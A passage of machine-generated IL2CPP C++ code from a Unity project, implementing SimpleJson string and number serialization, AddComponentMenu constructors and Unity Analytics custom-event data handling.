L_8 = V_1; StringBuilder_t1221177846 * L_9 = ___builder2; bool L_10 = SimpleJson_SerializeValue_m2700795577(NULL /*static, unused*/, L_7, L_8, L_9, /*hidden argument*/NULL); if (L_10) { goto IL_004a; } } IL_0043: { V_3 = (bool)0; IL2CPP_LEAVE(0x86, FINALLY_005d); } IL_004a: { V_0 = (bool)0; } IL_004d: { Il2CppObject * L_11 = V_2; NullCheck(L_11); bool L_12 = InterfaceFuncInvoker0< bool >::Invoke(1 /* System.Boolean System.Collections.IEnumerator::MoveNext() */, IEnumerator_t1466026749_il2cpp_TypeInfo_var, L_11); if (L_12) { goto IL_001c; } } IL_0058: { IL2CPP_LEAVE(0x73, FINALLY_005d); } } // end try (depth: 1) catch(Il2CppExceptionWrapper& e) { __last_unhandled_exception = (Exception_t1927440687 *)e.ex; goto FINALLY_005d; } FINALLY_005d: { // begin finally (depth: 1) { Il2CppObject * L_13 = V_2; Il2CppObject * L_14 = ((Il2CppObject *)IsInst(L_13, IDisposable_t2427283555_il2cpp_TypeInfo_var)); V_4 = L_14; if (!L_14) { goto IL_0072; } } IL_006b: { Il2CppObject * L_15 = V_4; NullCheck(L_15); InterfaceActionInvoker0::Invoke(0 /* System.Void System.IDisposable::Dispose() */, IDisposable_t2427283555_il2cpp_TypeInfo_var, L_15); } IL_0072: { IL2CPP_END_FINALLY(93) } } // end finally (depth: 1) IL2CPP_CLEANUP(93) { IL2CPP_JUMP_TBL(0x86, IL_0086) IL2CPP_JUMP_TBL(0x73, IL_0073) IL2CPP_RETHROW_IF_UNHANDLED(Exception_t1927440687 *) } IL_0073: { StringBuilder_t1221177846 * L_16 = ___builder2; NullCheck(L_16); StringBuilder_Append_m3636508479(L_16, _stringLiteral372029425, /*hidden argument*/NULL); V_3 = (bool)1; goto IL_0086; } IL_0086: { bool L_17 = V_3; return L_17; } } // System.Boolean SimpleJson.SimpleJson::SerializeString(System.String,System.Text.StringBuilder) extern "C" bool SimpleJson_SerializeString_m1750369917 (Il2CppObject * __this /* static, unused */, String_t* ___aString0, StringBuilder_t1221177846 * ___builder1, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (SimpleJson_SerializeString_m1750369917_MetadataUsageId); s_Il2CppMethodInitialized = true; } CharU5BU5D_t1328083999* V_0 = NULL; int32_t V_1 = 0; Il2CppChar V_2 = 0x0; bool V_3 = false; { StringBuilder_t1221177846 * L_0 = ___builder1; NullCheck(L_0); StringBuilder_Append_m3636508479(L_0, _stringLiteral372029312, /*hidden argument*/NULL); String_t* L_1 = ___aString0; NullCheck(L_1); CharU5BU5D_t1328083999* L_2 = String_ToCharArray_m870309954(L_1, /*hidden argument*/NULL); V_0 = L_2; V_1 = 0; goto IL_00db; } IL_001b: { CharU5BU5D_t1328083999* L_3 = V_0; int32_t L_4 = V_1; NullCheck(L_3); int32_t L_5 = L_4; uint16_t L_6 = (L_3)->GetAt(static_cast(L_5)); V_2 = L_6; Il2CppChar L_7 = V_2; if ((!(((uint32_t)L_7) == ((uint32_t)((int32_t)34))))) { goto IL_0039; } } { StringBuilder_t1221177846 * L_8 = ___builder1; NullCheck(L_8); StringBuilder_Append_m3636508479(L_8, _stringLiteral3943473468, /*hidden argument*/NULL); goto IL_00d6; } IL_0039: { Il2CppChar L_9 = V_2; if ((!(((uint32_t)L_9) == ((uint32_t)((int32_t)92))))) { goto IL_0052; } } { StringBuilder_t1221177846 * L_10 = ___builder1; NullCheck(L_10); StringBuilder_Append_m3636508479(L_10, _stringLiteral2088416310, /*hidden argument*/NULL); goto IL_00d6; } IL_0052: { Il2CppChar L_11 = V_2; if ((!(((uint32_t)L_11) == ((uint32_t)8)))) { goto IL_006a; } } { StringBuilder_t1221177846 * L_12 = ___builder1; NullCheck(L_12); StringBuilder_Append_m3636508479(L_12, _stringLiteral1093630588, /*hidden argument*/NULL); goto IL_00d6; } IL_006a: { Il2CppChar L_13 = V_2; if ((!(((uint32_t)L_13) == ((uint32_t)((int32_t)12))))) { goto IL_0083; } } { StringBuilder_t1221177846 * L_14 = ___builder1; NullCheck(L_14); StringBuilder_Append_m3636508479(L_14, _stringLiteral3419229416, /*hidden argument*/NULL); goto IL_00d6; } IL_0083: { Il2CppChar L_15 = V_2; if ((!(((uint32_t)L_15) == ((uint32_t)((int32_t)10))))) { goto IL_009c; } } { StringBuilder_t1221177846 * L_16 = ___builder1; NullCheck(L_16); StringBuilder_Append_m3636508479(L_16, _stringLiteral3062999056, /*hidden argument*/NULL); goto IL_00d6; } IL_009c: { Il2CppChar L_17 = V_2; if ((!(((uint32_t)L_17) == ((uint32_t)((int32_t)13))))) { goto IL_00b5; } } { StringBuilder_t1221177846 * L_18 = ___builder1; NullCheck(L_18); StringBuilder_Append_m3636508479(L_18, _stringLiteral381169868, /*hidden argument*/NULL); goto IL_00d6; } IL_00b5: { Il2CppChar L_19 = V_2; if ((!(((uint32_t)L_19) == ((uint32_t)((int32_t)9))))) { goto IL_00ce; } } { StringBuilder_t1221177846 * L_20 = ___builder1; NullCheck(L_20); StringBuilder_Append_m3636508479(L_20, _stringLiteral3869568110, /*hidden argument*/NULL); goto IL_00d6; } IL_00ce: { StringBuilder_t1221177846 * L_21 = ___builder1; Il2CppChar L_22 = V_2; NullCheck(L_21); StringBuilder_Append_m3618697540(L_21, L_22, /*hidden argument*/NULL); } IL_00d6: { int32_t L_23 = V_1; V_1 = ((int32_t)((int32_t)L_23+(int32_t)1)); } IL_00db: { int32_t L_24 = V_1; CharU5BU5D_t1328083999* L_25 = V_0; NullCheck(L_25); if ((((int32_t)L_24) < ((int32_t)(((int32_t)((int32_t)(((Il2CppArray *)L_25)->max_length))))))) { goto IL_001b; } } { StringBuilder_t1221177846 * L_26 = ___builder1; NullCheck(L_26); StringBuilder_Append_m3636508479(L_26, _stringLiteral372029312, /*hidden argument*/NULL); V_3 = (bool)1; goto IL_00f7; } IL_00f7: { bool L_27 = V_3; return L_27; } } // System.Boolean SimpleJson.SimpleJson::SerializeNumber(System.Object,System.Text.StringBuilder) extern "C" bool SimpleJson_SerializeNumber_m1195210771 (Il2CppObject * __this /* static, unused */, Il2CppObject * ___number0, StringBuilder_t1221177846 * ___builder1, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (SimpleJson_SerializeNumber_m1195210771_MetadataUsageId); s_Il2CppMethodInitialized = true; } int64_t V_0 = 0; uint64_t V_1 = 0; int32_t V_2 = 0; uint32_t V_3 = 0; Decimal_t724701077 V_4; memset(&V_4, 0, sizeof(V_4)); float V_5 = 0.0f; double V_6 = 0.0; bool V_7 = false; { Il2CppObject * L_0 = ___number0; if (!((Il2CppObject *)IsInstSealed(L_0, Int64_t909078037_il2cpp_TypeInfo_var))) { goto IL_002b; } } { StringBuilder_t1221177846 * L_1 = ___builder1; Il2CppObject * L_2 = ___number0; V_0 = ((*(int64_t*)((int64_t*)UnBox(L_2, Int64_t909078037_il2cpp_TypeInfo_var)))); IL2CPP_RUNTIME_CLASS_INIT(CultureInfo_t3500843524_il2cpp_TypeInfo_var); CultureInfo_t3500843524 * L_3 = CultureInfo_get_InvariantCulture_m398972276(NULL /*static, unused*/, /*hidden argument*/NULL); String_t* L_4 = Int64_ToString_m1275187741((&V_0), L_3, /*hidden argument*/NULL); NullCheck(L_1); StringBuilder_Append_m3636508479(L_1, L_4, /*hidden argument*/NULL); goto IL_0124; } IL_002b: { Il2CppObject * L_5 = ___number0; if (!((Il2CppObject *)IsInstSealed(L_5, UInt64_t2909196914_il2cpp_TypeInfo_var))) { goto IL_0055; } } { StringBuilder_t1221177846 * L_6 = ___builder1; Il2CppObject * L_7 = ___number0; V_1 = ((*(uint64_t*)((uint64_t*)UnBox(L_7, UInt64_t2909196914_il2cpp_TypeInfo_var)))); IL2CPP_RUNTIME_CLASS_INIT(CultureInfo_t3500843524_il2cpp_TypeInfo_var); CultureInfo_t3500843524 * L_8 = CultureInfo_get_InvariantCulture_m398972276(NULL /*static, unused*/, /*hidden argument*/NULL); String_t* L_9 = UInt64_ToString_m2892887310((&V_1), L_8, /*hidden argument*/NULL); NullCheck(L_6); StringBuilder_Append_m3636508479(L_6, L_9, /*hidden argument*/NULL); goto IL_0124; } IL_0055: { Il2CppObject * L_10 = ___number0; if (!((Il2CppObject *)IsInstSealed(L_10, Int32_t2071877448_il2cpp_TypeInfo_var))) { goto IL_007f; } } { StringBuilder_t1221177846 * L_11 = ___builder1; Il2CppObject * L_12 = ___number0; V_2 = ((*(int32_t*)((int32_t*)UnBox(L_12, Int32_t2071877448_il2cpp_TypeInfo_var)))); IL2CPP_RUNTIME_CLASS_INIT(CultureInfo_t3500843524_il2cpp_TypeInfo_var); CultureInfo_t3500843524 * L_13 = CultureInfo_get_InvariantCulture_m398972276(NULL /*static, unused*/, /*hidden argument*/NULL); String_t* L_14 = Int32_ToString_m526790770((&V_2), L_13, /*hidden argument*/NULL); NullCheck(L_11); StringBuilder_Append_m3636508479(L_11, L_14, /*hidden argument*/NULL); goto IL_0124; } IL_007f: { Il2CppObject * L_15 = ___number0; if (!((Il2CppObject *)IsInstSealed(L_15, UInt32_t2149682021_il2cpp_TypeInfo_var))) { goto IL_00a9; } } { StringBuilder_t1221177846 * L_16 = ___builder1; Il2CppObject * L_17 = ___number0; V_3 = ((*(uint32_t*)((uint32_t*)UnBox(L_17, UInt32_t2149682021_il2cpp_TypeInfo_var)))); IL2CPP_RUNTIME_CLASS_INIT(CultureInfo_t3500843524_il2cpp_TypeInfo_var); CultureInfo_t3500843524 * L_18 = CultureInfo_get_InvariantCulture_m398972276(NULL /*static, unused*/, /*hidden argument*/NULL); String_t* L_19 = UInt32_ToString_m3894907091((&V_3), L_18, /*hidden argument*/NULL); NullCheck(L_16); StringBuilder_Append_m3636508479(L_16, L_19, /*hidden argument*/NULL); goto IL_0124; } IL_00a9: { Il2CppObject * L_20 = ___number0; if (!((Il2CppObject *)IsInstSealed(L_20, Decimal_t724701077_il2cpp_TypeInfo_var))) { goto IL_00d4; } } { StringBuilder_t1221177846 * L_21 = ___builder1; Il2CppObject * L_22 = ___number0; V_4 = ((*(Decimal_t724701077 *)((Decimal_t724701077 *)UnBox(L_22, Decimal_t724701077_il2cpp_TypeInfo_var)))); IL2CPP_RUNTIME_CLASS_INIT(CultureInfo_t3500843524_il2cpp_TypeInfo_var); CultureInfo_t3500843524 * L_23 = CultureInfo_get_InvariantCulture_m398972276(NULL /*static, unused*/, /*hidden argument*/NULL); String_t* L_24 = Decimal_ToString_m752193835((&V_4), L_23, /*hidden argument*/NULL); NullCheck(L_21); StringBuilder_Append_m3636508479(L_21, L_24, /*hidden argument*/NULL); goto IL_0124; } IL_00d4: { Il2CppObject * L_25 = ___number0; if (!((Il2CppObject *)IsInstSealed(L_25, Single_t2076509932_il2cpp_TypeInfo_var))) { goto IL_00ff; } } { StringBuilder_t1221177846 * L_26 = ___builder1; Il2CppObject * L_27 = ___number0; V_5 = ((*(float*)((float*)UnBox(L_27, Single_t2076509932_il2cpp_TypeInfo_var)))); IL2CPP_RUNTIME_CLASS_INIT(CultureInfo_t3500843524_il2cpp_TypeInfo_var); CultureInfo_t3500843524 * L_28 = CultureInfo_get_InvariantCulture_m398972276(NULL /*static, unused*/, /*hidden argument*/NULL); String_t* L_29 = Single_ToString_m1229799376((&V_5), L_28, /*hidden argument*/NULL); NullCheck(L_26); StringBuilder_Append_m3636508479(L_26, L_29, /*hidden argument*/NULL); goto IL_0124; } IL_00ff: { StringBuilder_t1221177846 * L_30 = ___builder1; Il2CppObject * L_31 = ___number0; IL2CPP_RUNTIME_CLASS_INIT(CultureInfo_t3500843524_il2cpp_TypeInfo_var); CultureInfo_t3500843524 * L_32 = CultureInfo_get_InvariantCulture_m398972276(NULL /*static, unused*/, /*hidden argument*/NULL); IL2CPP_RUNTIME_CLASS_INIT(Convert_t2607082565_il2cpp_TypeInfo_var); double L_33 = Convert_ToDouble_m574888941(NULL /*static, unused*/, L_31, L_32, /*hidden argument*/NULL); V_6 = L_33; CultureInfo_t3500843524 * L_34 = CultureInfo_get_InvariantCulture_m398972276(NULL /*static, unused*/, /*hidden argument*/NULL); String_t* L_35 = Double_ToString_m1474956491((&V_6), _stringLiteral372029392, L_34, /*hidden argument*/NULL); NullCheck(L_30); StringBuilder_Append_m3636508479(L_30, L_35, /*hidden argument*/NULL); } IL_0124: { V_7 = (bool)1; goto IL_012c; } IL_012c: { bool L_36 = V_7; return L_36; } } // System.Boolean SimpleJson.SimpleJson::IsNumeric(System.Object) extern "C" bool SimpleJson_IsNumeric_m810085359 (Il2CppObject * __this /* static, unused */, Il2CppObject * ___value0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (SimpleJson_IsNumeric_m810085359_MetadataUsageId); s_Il2CppMethodInitialized = true; } bool V_0 = false; { Il2CppObject * L_0 = ___value0; if (!((Il2CppObject *)IsInstSealed(L_0, SByte_t454417549_il2cpp_TypeInfo_var))) { goto IL_0013; } } { V_0 = (bool)1; goto IL_00ce; } IL_0013: { Il2CppObject * L_1 = ___value0; if (!((Il2CppObject *)IsInstSealed(L_1, Byte_t3683104436_il2cpp_TypeInfo_var))) { goto IL_0025; } } { V_0 = (bool)1; goto IL_00ce; } IL_0025: { Il2CppObject * L_2 = ___value0; if (!((Il2CppObject *)IsInstSealed(L_2, Int16_t4041245914_il2cpp_TypeInfo_var))) { goto IL_0037; } } { V_0 = (bool)1; goto IL_00ce; } IL_0037: { Il2CppObject * L_3 = ___value0; if (!((Il2CppObject *)IsInstSealed(L_3, UInt16_t986882611_il2cpp_TypeInfo_var))) { goto IL_0049; } } { V_0 = (bool)1; goto IL_00ce; } IL_0049: { Il2CppObject * L_4 = ___value0; if (!((Il2CppObject *)IsInstSealed(L_4, Int32_t2071877448_il2cpp_TypeInfo_var))) { goto IL_005b; } } { V_0 = (bool)1; goto IL_00ce; } IL_005b: { Il2CppObject * L_5 = ___value0; if (!((Il2CppObject *)IsInstSealed(L_5, UInt32_t2149682021_il2cpp_TypeInfo_var))) { goto IL_006d; } } { V_0 = (bool)1; goto IL_00ce; } IL_006d: { Il2CppObject * L_6 = ___value0; if (!((Il2CppObject *)IsInstSealed(L_6, Int64_t909078037_il2cpp_TypeInfo_var))) { goto IL_007f; } } { V_0 = (bool)1; goto IL_00ce; } IL_007f: { Il2CppObject * L_7 = ___value0; if (!((Il2CppObject *)IsInstSealed(L_7, UInt64_t2909196914_il2cpp_TypeInfo_var))) { goto IL_0091; } } { V_0 = (bool)1; goto IL_00ce; } IL_0091: { Il2CppObject * L_8 = ___value0; if (!((Il2CppObject *)IsInstSealed(L_8, Single_t2076509932_il2cpp_TypeInfo_var))) { goto IL_00a3; } } { V_0 = (bool)1; goto IL_00ce; } IL_00a3: { Il2CppObject * L_9 = ___value0; if (!((Il2CppObject *)IsInstSealed(L_9, Double_t4078015681_il2cpp_TypeInfo_var))) { goto IL_00b5; } } { V_0 = (bool)1; goto IL_00ce; } IL_00b5: { Il2CppObject * L_10 = ___value0; if (!((Il2CppObject *)IsInstSealed(L_10, Decimal_t724701077_il2cpp_TypeInfo_var))) { goto IL_00c7; } } { V_0 = (bool)1; goto IL_00ce; } IL_00c7: { V_0 = (bool)0; goto IL_00ce; } IL_00ce: { bool L_11 = V_0; return L_11; } } // SimpleJson.IJsonSerializerStrategy SimpleJson.SimpleJson::get_CurrentJsonSerializerStrategy() extern "C" Il2CppObject * SimpleJson_get_CurrentJsonSerializerStrategy_m3073481146 (Il2CppObject * __this /* static, unused */, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (SimpleJson_get_CurrentJsonSerializerStrategy_m3073481146_MetadataUsageId); s_Il2CppMethodInitialized = true; } Il2CppObject * V_0 = NULL; Il2CppObject * G_B2_0 = NULL; Il2CppObject * G_B1_0 = NULL; { Il2CppObject * L_0 = ((SimpleJson_t3569903358_StaticFields*)SimpleJson_t3569903358_il2cpp_TypeInfo_var->static_fields)->get__currentJsonSerializerStrategy_0(); Il2CppObject * L_1 = L_0; G_B1_0 = L_1; if (L_1) { G_B2_0 = L_1; goto IL_0018; } } { PocoJsonSerializerStrategy_t2810850750 * L_2 = SimpleJson_get_PocoJsonSerializerStrategy_m3655250970(NULL /*static, unused*/, /*hidden argument*/NULL); PocoJsonSerializerStrategy_t2810850750 * L_3 = L_2; ((SimpleJson_t3569903358_StaticFields*)SimpleJson_t3569903358_il2cpp_TypeInfo_var->static_fields)->set__currentJsonSerializerStrategy_0(L_3); G_B2_0 = ((Il2CppObject *)(L_3)); } IL_0018: { V_0 = G_B2_0; goto IL_001e; } IL_001e: { Il2CppObject * L_4 = V_0; return L_4; } } // SimpleJson.PocoJsonSerializerStrategy SimpleJson.SimpleJson::get_PocoJsonSerializerStrategy() extern "C" PocoJsonSerializerStrategy_t2810850750 * SimpleJson_get_PocoJsonSerializerStrategy_m3655250970 (Il2CppObject * __this /* static, unused */, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (SimpleJson_get_PocoJsonSerializerStrategy_m3655250970_MetadataUsageId); s_Il2CppMethodInitialized = true; } PocoJsonSerializerStrategy_t2810850750 * V_0 = NULL; PocoJsonSerializerStrategy_t2810850750 * G_B2_0 = NULL; PocoJsonSerializerStrategy_t2810850750 * G_B1_0 = NULL; { PocoJsonSerializerStrategy_t2810850750 * L_0 = ((SimpleJson_t3569903358_StaticFields*)SimpleJson_t3569903358_il2cpp_TypeInfo_var->static_fields)->get__pocoJsonSerializerStrategy_1(); PocoJsonSerializerStrategy_t2810850750 * L_1 = L_0; G_B1_0 = L_1; if (L_1) { G_B2_0 = L_1; goto IL_0018; } } { PocoJsonSerializerStrategy_t2810850750 * L_2 = (PocoJsonSerializerStrategy_t2810850750 *)il2cpp_codegen_object_new(PocoJsonSerializerStrategy_t2810850750_il2cpp_TypeInfo_var); PocoJsonSerializerStrategy__ctor_m679193024(L_2, /*hidden argument*/NULL); PocoJsonSerializerStrategy_t2810850750 * L_3 = L_2; ((SimpleJson_t3569903358_StaticFields*)SimpleJson_t3569903358_il2cpp_TypeInfo_var->static_fields)->set__pocoJsonSerializerStrategy_1(L_3); G_B2_0 = L_3; } IL_0018: { V_0 = G_B2_0; goto IL_001e; } IL_001e: { PocoJsonSerializerStrategy_t2810850750 * L_4 = V_0; return L_4; } } // System.Void UnityEngine.AddComponentMenu::.ctor(System.String) extern "C" void AddComponentMenu__ctor_m2231330368 (AddComponentMenu_t1099699699 * __this, String_t* ___menuName0, const MethodInfo* method) { { Attribute__ctor_m1730479323(__this, /*hidden argument*/NULL); String_t* L_0 = ___menuName0; __this->set_m_AddComponentMenu_0(L_0); __this->set_m_Ordering_1(0); return; } } // System.Void UnityEngine.AddComponentMenu::.ctor(System.String,System.Int32) extern "C" void AddComponentMenu__ctor_m648737891 (AddComponentMenu_t1099699699 * __this, String_t* ___menuName0, int32_t ___order1, const MethodInfo* method) { { Attribute__ctor_m1730479323(__this, /*hidden argument*/NULL); String_t* L_0 = ___menuName0; __this->set_m_AddComponentMenu_0(L_0); int32_t L_1 = ___order1; __this->set_m_Ordering_1(L_1); return; } } // UnityEngine.Analytics.UnityAnalyticsHandler UnityEngine.Analytics.Analytics::GetUnityAnalyticsHandler() extern "C" UnityAnalyticsHandler_t3238795095 * Analytics_GetUnityAnalyticsHandler_m832551809 (Il2CppObject * __this /* static, unused */, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Analytics_GetUnityAnalyticsHandler_m832551809_MetadataUsageId); s_Il2CppMethodInitialized = true; } UnityAnalyticsHandler_t3238795095 * V_0 = NULL; { UnityAnalyticsHandler_t3238795095 * L_0 = ((Analytics_t2007048212_StaticFields*)Analytics_t2007048212_il2cpp_TypeInfo_var->static_fields)->get_s_UnityAnalyticsHandler_0(); if (L_0) { goto IL_0015; } } { UnityAnalyticsHandler_t3238795095 * L_1 = (UnityAnalyticsHandler_t3238795095 *)il2cpp_codegen_object_new(UnityAnalyticsHandler_t3238795095_il2cpp_TypeInfo_var); UnityAnalyticsHandler__ctor_m113083880(L_1, /*hidden argument*/NULL); ((Analytics_t2007048212_StaticFields*)Analytics_t2007048212_il2cpp_TypeInfo_var->static_fields)->set_s_UnityAnalyticsHandler_0(L_1); } IL_0015: { UnityAnalyticsHandler_t3238795095 * L_2 = ((Analytics_t2007048212_StaticFields*)Analytics_t2007048212_il2cpp_TypeInfo_var->static_fields)->get_s_UnityAnalyticsHandler_0(); V_0 = L_2; goto IL_0020; } IL_0020: { UnityAnalyticsHandler_t3238795095 * L_3 = V_0; return L_3; } } // UnityEngine.Analytics.AnalyticsResult UnityEngine.Analytics.Analytics::CustomEvent(System.String,System.Collections.Generic.IDictionary`2) extern "C" int32_t Analytics_CustomEvent_m2343610239 (Il2CppObject * __this /* static, unused */, String_t* ___customEventName0, Il2CppObject* ___eventData1, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Analytics_CustomEvent_m2343610239_MetadataUsageId); s_Il2CppMethodInitialized = true; } UnityAnalyticsHandler_t3238795095 * V_0 = NULL; int32_t V_1 = 0; CustomEventData_t1269126727 * V_2 = NULL; { String_t* L_0 = ___customEventName0; IL2CPP_RUNTIME_CLASS_INIT(String_t_il2cpp_TypeInfo_var); bool L_1 = String_IsNullOrEmpty_m2802126737(NULL /*static, unused*/, L_0, /*hidden argument*/NULL); if (!L_1) { goto IL_0017; } } { ArgumentException_t3259014390 * L_2 = (ArgumentException_t3259014390 *)il2cpp_codegen_object_new(ArgumentException_t3259014390_il2cpp_TypeInfo_var); ArgumentException__ctor_m3739475201(L_2, _stringLiteral2146552269, /*hidden argument*/NULL); IL2CPP_RAISE_MANAGED_EXCEPTION(L_2); } IL_0017: { UnityAnalyticsHandler_t3238795095 * L_3 = Analytics_GetUnityAnalyticsHandler_m832551809(NULL /*static, unused*/, /*hidden argument*/NULL); V_0 = L_3; UnityAnalyticsHandler_t3238795095 * L_4 = V_0; if (L_4) { goto IL_002a; } } { V_1 = 1; goto IL_0059; } IL_002a: { Il2CppObject* L_5 = ___eventData1; if (L_5) { goto IL_003d; } } { UnityAnalyticsHandler_t3238795095 * L_6 = V_0; String_t* L_7 = ___customEventName0; NullCheck(L_6); int32_t L_8 = UnityAnalyticsHandler_CustomEvent_m1069747280(L_6, L_7, /*hidden argument*/NULL); V_1 = L_8; goto IL_0059; } IL_003d: { String_t* L_9 = ___customEventName0; CustomEventData_t1269126727 * L_10 = (CustomEventData_t1269126727 *)il2cpp_codegen_object_new(CustomEventData_t1269126727_il2cpp_TypeInfo_var); CustomEventData__ctor_m4236192358(L_10, L_9, /*hidden argument*/NULL); V_2 = L_10; CustomEventData_t1269126727 * L_11 = V_2; Il2CppObject* L_12 = ___eventData1; NullCheck(L_11); CustomEventData_Add_m952171437(L_11, L_12, /*hidden argument*/NULL); UnityAnalyticsHandler_t3238795095 * L_13 = V_0; CustomEventData_t1269126727 * L_14 = V_2; NullCheck(L_13); int32_t L_15 = UnityAnalyticsHandler_CustomEvent_m2884790978(L_13, L_14, /*hidden argument*/NULL); V_1 = L_15; goto IL_0059; } IL_0059: { int32_t L_16 = V_1; return L_16; } } // Conversion methods for marshalling of: UnityEngine.Analytics.CustomEventData extern "C" void CustomEventData_t1269126727_marshal_pinvoke(const CustomEventData_t1269126727& unmarshaled, CustomEventData_t1269126727_marshaled_pinvoke& marshaled) { marshaled.___m_Ptr_0 = reinterpret_cast((unmarshaled.get_m_Ptr_0()).get_m_value_0()); } extern "C" void CustomEventData_t1269126727_marshal_pinvoke_back(const CustomEventData_t1269126727_marshaled_pinvoke& marshaled, CustomEventData_t1269126727& unmarshaled) { IntPtr_t unmarshaled_m_Ptr_temp_0; memset(&unmarshaled_m_Ptr_temp_0, 0, sizeof(unmarshaled_m_Ptr_temp_0)); IntPtr_t unmarshaled_m_Ptr_temp_0_temp; unmarshaled_m_Ptr_temp_0_temp.set_m_value_0(reinterpret_cast((intptr_t)(marshaled.___m_Ptr_0))); unmarshaled_m_Ptr_temp_0 = unmarshaled_m_Ptr_temp_0_temp; unmarshaled.set_m_Ptr_0(unmarshaled_m_Ptr_temp_0); } // Conversion method for clean up from marshalling of: UnityEngine.Analytics.CustomEventData extern "C" void CustomEventData_t1269126727_marshal_pinvoke_cleanup(CustomEventData_t1269126727_marshaled_pinvoke& marshaled) { } // Conversion methods for marshalling of: UnityEngine.Analytics.CustomEventData extern "C" void CustomEventData_t1269126727_marshal_com(const CustomEventData_t1269126727& unmarshaled, CustomEventData_t1269126727_marshaled_com& marshaled) { marshaled.___m_Ptr_0 = reinterpret_cast((unmarshaled.get_m_Ptr_0()).get_m_value_0()); } extern "C" void CustomEventData_t1269126727_marshal_com_back(const CustomEventData_t1269126727_marshaled_com& marshaled, CustomEventData_t1269126727& unmarshaled) { IntPtr_t unmarshaled_m_Ptr_temp_0; memset(&unmarshaled_m_Ptr_temp_0, 0, sizeof(unmarshaled_m_Ptr_temp_0)); IntPtr_t unmarshaled_m_Ptr_temp_0_temp; unmarshaled_m_Ptr_temp_0_temp.set_m_value_0(reinterpret_cast((intptr_t)(marshaled.___m_Ptr_0))); unmarshaled_m_Ptr_temp_0 = unmarshaled_m_Ptr_temp_0_temp; unmarshaled.set_m_Ptr_0(unmarshaled_m_Ptr_temp_0); } // Conversion method for clean up from marshalling of: UnityEngine.Analytics.CustomEventData extern "C" void CustomEventData_t1269126727_marshal_com_cleanup(CustomEventData_t1269126727_marshaled_com& marshaled) { } // System.Void UnityEngine.Analytics.CustomEventData::.ctor(System.String) extern "C" void CustomEventData__ctor_m4236192358 (CustomEventData_t1269126727 * __this, String_t* ___name0, const MethodInfo* method) { { Object__ctor_m2551263788(__this, /*hidden argument*/NULL); String_t* L_0 = ___name0; CustomEventData_InternalCreate_m4162294919(__this, L_0, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.Analytics.CustomEventData::Finalize() extern "C" void CustomEventData_Finalize_m2991594516 (CustomEventData_t1269126727 * __this, const MethodInfo* method) { Exception_t1927440687 * __last_unhandled_exception = 0; NO_UNUSED_WARNING (__last_unhandled_exception); Exception_t1927440687 * __exception_local = 0; NO_UNUSED_WARNING (__exception_local); int32_t __leave_target = 0; NO_UNUSED_WARNING (__leave_target); { } IL_0001: try { // begin try (depth: 1) CustomEventData_InternalDestroy_m3801708051(__this, /*hidden argument*/NULL); IL2CPP_LEAVE(0x13, FINALLY_000c); } // end try (depth: 1) catch(Il2CppExceptionWrapper& e) { __last_unhandled_exception = (Exception_t1927440687 *)e.ex; goto FINALLY_000c; } FINALLY_000c: { // begin finally (depth: 1) Object_Finalize_m4087144328(__this, /*hidden argument*/NULL); IL2CPP_END_FINALLY(12) } // end finally (depth: 1) IL2CPP_CLEANUP(12) { IL2CPP_JUMP_TBL(0x13, IL_0013) IL2CPP_RETHROW_IF_UNHANDLED(Exception_t1927440687 *) } IL_0013: { return; } } // System.Void UnityEngine.Analytics.CustomEventData::Dispose() extern "C" void CustomEventData_Dispose_m216782997 (CustomEventData_t1269126727 * __this, const MethodInfo* method) { { CustomEventData_InternalDestroy_m3801708051(__this, /*hidden argument*/NULL); GC_SuppressFinalize_m953228702(NULL /*static, unused*/, __this, /*hidden argument*/NULL); return; } } // System.Boolean UnityEngine.Analytics.CustomEventData::Add(System.String,System.String) extern "C" bool CustomEventData_Add_m1857875967 (CustomEventData_t1269126727 * __this, String_t* ___key0, String_t* ___value1, const MethodInfo* method) { bool V_0 = false; { String_t* L_0 = ___key0; String_t* L_1 = ___value1; bool L_2 = CustomEventData_AddString_m2914790600(__this, L_0, L_1, /*hidden argument*/NULL); V_0 = L_2; goto IL_000f; } IL_000f: { bool L_3 = V_0; return L_3; } } // System.Boolean UnityEngine.Analytics.CustomEventData::Add(System.String,System.Boolean) extern "C" bool CustomEventData_Add_m4139356558 (CustomEventData_t1269126727 * __this, String_t* ___key0, bool ___value1, const MethodInfo* method) { bool V_0 = false; { String_t* L_0 = ___key0; bool L_1 = ___value1; bool L_2 = CustomEventData_AddBool_m3257352582(__this, L_0, L_1, /*hidden argument*/NULL); V_0 = L_2; goto IL_000f; } IL_000f: { bool L_3 = V_0; return L_3; } } // System.Boolean UnityEngine.Analytics.CustomEventData::Add(System.String,System.Char) extern "C" bool CustomEventData_Add_m3828492920 (CustomEventData_t1269126727 * __this, String_t* ___key0, Il2CppChar ___value1, const MethodInfo* method) { bool V_0 = false; { String_t* L_0 = ___key0; Il2CppChar L_1 = ___value1; bool L_2 = CustomEventData_AddChar_m1103619816(__this, L_0, L_1, /*hidden argument*/NULL); V_0 = L_2; goto IL_000f; } IL_000f: { bool L_3 = V_0; return L_3; } } // System.Boolean UnityEngine.Analytics.CustomEventData::Add(System.String,System.Byte) extern "C" bool CustomEventData_Add_m911651774 (CustomEventData_t1269126727 * __this, String_t* ___key0, uint8_t ___value1, const MethodInfo* method) { bool V_0 = false; { String_t* L_0 = ___key0; uint8_t L_1 = ___value1; bool L_2 = CustomEventData_AddByte_m2648511336(__this, L_0, L_1, /*hidden argument*/NULL); V_0 = L_2; goto IL_000f; } IL_000f: { bool L_3 = V_0; return L_3; } } // System.Boolean UnityEngine.Analytics.CustomEventData::Add(System.String,System.SByte) extern "C" bool CustomEventData_Add_m3626608495 (CustomEventData_t1269126727 * __this, String_t* ___key0, int8_t ___value1, const MethodInfo* method) { bool V_0 = false; { 